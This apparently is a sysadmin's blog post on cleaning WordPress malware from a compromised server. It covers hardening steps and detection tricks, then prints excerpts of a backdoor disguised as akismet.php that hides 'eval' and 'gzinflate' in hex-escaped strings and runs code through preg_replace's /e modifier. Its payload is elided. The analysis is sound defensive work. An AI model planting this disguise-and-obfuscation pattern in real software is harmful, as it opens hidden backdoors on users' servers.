A customer’s server was compromised ages ago with lots of lots of WordPress malware.
The developers are now on top of it, thanks to a combination of :
* Removing wordpress’s write permission (moving over to just use SFTP)
* Adding maldet (Linux Malware Detection).
* Tightening up the firewall so only incoming connections to specific ports are allowed.
* Stopping anyone except Postfix from being able to send out email (e.g iptables -I OUTPUT -p tcp -m multiport --dpots 25,587 -m state --state NEW -m owner ! --uid-owner 106 -j REJECT
and of course logging attempts)
Most of the malware was easy to spot – references to eval / base64_decode – which are easy to ack-grep for. Or the malware would launch processes which would retain their /proc/$pid/environ file – and therefore be quite easy to locate.
However, one launched a perl process which was difficult to track down – partly because it wiped it’s /proc/$pid/environ file so it was hard to know which site it was running from. Thankfully, there was a filehandle to the launching code (/tmp file that was deleted on execution) (/proc/$pid/fd/xx) which could be easily read – which revealed enough information to lead to it’s identification.
So, behold /wp-content/plugins/akismet.php (so believable file name)
Random interesting contents below:
/**
* Functions for reading, writing, modifying, and deleting files on the file system.
* Includes functionality for theme-specific files as well as operations for uploading,
* archiving, and rendering output when necessary.
*
* @package WordPress
* @subpackage Administration
*
* @id : c78fb310d8ec1daaba40e84241bc4d42dc
*/
/** The descriptions for theme files. */
$hash = "ff6fd53c4b437772493471d68799f69d";
$search = '';
$wp_file_descriptions = array(
'index.php' => 'Main Index Template',
'style.css' => 'Stylesheet',
'editor-style.css' => 'Visual Editor Stylesheet',
'editor-style-rtl.css' => 'Visual Editor RTL Stylesheet',
'rtl.css' => "\x65val.gz"."in\x66late",
'comments.php' => 'Comments',
...
for($i = 0; $i < strlen($wp_file_descriptions['md5_check.php']); $i = $i+2)
$search .= '%'.substr($wp_file_descriptions['md5_check.php'], $i, 2);
$wp_template = @preg_replace("/([a-z0-9-%]+).([a-z-@]+).([a-z]+)/\x65", "$2($3(urldecode('$1')))", $search.".@".$wp_file_descriptions['rtl.css']);
Note:
0x65 == ‘e’, and 0x66 == ‘f’, so the preg_replace is executing code with the \e modifier.
The code that eventually gets executed opens port 26450 (tcp) and was presumably some sort of backdoor.